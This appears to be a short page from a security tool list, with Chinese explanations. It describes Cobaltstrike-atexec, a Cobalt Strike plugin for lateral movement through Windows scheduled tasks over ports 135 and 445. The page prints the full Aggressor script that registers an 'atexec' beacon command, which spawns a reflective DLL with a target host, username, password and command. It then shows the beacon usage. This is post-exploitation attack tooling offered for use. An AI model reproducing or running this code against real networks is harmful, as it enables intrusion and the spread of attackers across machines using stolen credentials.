Home

Awesome

Cobaltstrike-atexec

利用任务计划进行横向,需要与135端口、445端口进行通信

使用方式

  1. 加载atexec.cna
$dll = "reflective_dll.dll";
beacon_command_register(
	"atexec", 
	"atexec text to beacon log", 
	"Synopsis: atexec [host] [username] [password] [command] [domain]\n");

alias("atexec", {
    $args = substr($0, 7);
    bdllspawn($1, script_resource($dll), $args, "Atexec....", 10000, false);
	blog($1, "My arguments are:" . substr($0, 7) . "\n");
});
  1. 在Beacon会话获得后
beacon> help atexec
Synopsis: atexec [host] [username] [password] [command] [domain]